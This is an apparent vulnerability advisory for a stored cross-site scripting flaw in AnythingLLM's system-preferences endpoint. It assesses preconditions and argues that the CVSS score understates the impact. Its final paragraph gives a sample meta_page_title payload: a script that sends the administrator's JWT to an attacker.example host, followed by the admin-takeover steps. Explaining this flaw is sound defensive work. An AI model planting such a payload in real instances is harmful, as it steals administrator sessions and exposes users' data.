AnythingLLM CVE-2026-88055

Exploitation requires a valid manager-role account on the target AnythingLLM instance; the manager role is a built-in privilege tier below full administrator. No non-default configuration is needed: the /api/admin/system-preferences endpoint accepting meta_page_title and meta_page_favicon is present in all default installations through version 1.16.1. The stored payload executes only when an administrator visits the root homepage (/), which is a low-friction condition under normal usage. Limiting factors are: (1) attacker must possess or compromise a manager-role credential (PR:H gate); (2) an administrator must load the homepage in a browser after the payload is planted - passive social engineering at most, since admins routinely access the homepage; (3) impact is limited to the authenticated administrator's session context and what the JavaScript can reach from the browser (primarily the stored JWT). Unauthenticated external attackers without manager credentials cannot trigger this vulnerability.

The provided CVSS base score of 5.5 (AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N) materially understates the real-world impact in two respects. First, the C:L and I:L ratings do not reflect the actual post-exploitation outcome: successful execution of the payload yields a full administrator JWT, enabling complete instance takeover - all data access, user deletion, and persistent API key creation. Second, UI:N is inconsistent with stored XSS that requires a victim (the administrator) to visit the homepage before the script fires; UI:R is the correct label for this pattern. The PR:H requirement - a valid manager account - is the meaningful gate and genuinely limits the attack surface to partially trusted internal users rather than anonymous adversaries. In deployments where the manager role is assigned to third parties or less-trusted staff, this is a meaningful privilege escalation path. No EPSS data, CISA KEV listing, or public exploit code has been identified, keeping real-world urgency moderate despite high theoretical post-exploitation impact. The absence of a released patched version increases residual risk.

A manager-role user - whether a compromised account or a malicious insider - submits a POST to /api/admin/system-preferences setting meta_page_title to a value such as "><script>fetch('https://attacker.example/c?t='+localStorage.getItem('anythingllm_token'))</script>. The next time any administrator browses to the AnythingLLM homepage (a routine action), their browser renders the unescaped tag and transmits their JWT to the attacker's server. The attacker then authenticates as administrator against the AnythingLLM API to create a persistent API key, extract all chat histories, and delete or demote user accounts. No public exploit code has been identified, but the technique requires no special tooling beyond a valid manager-role session.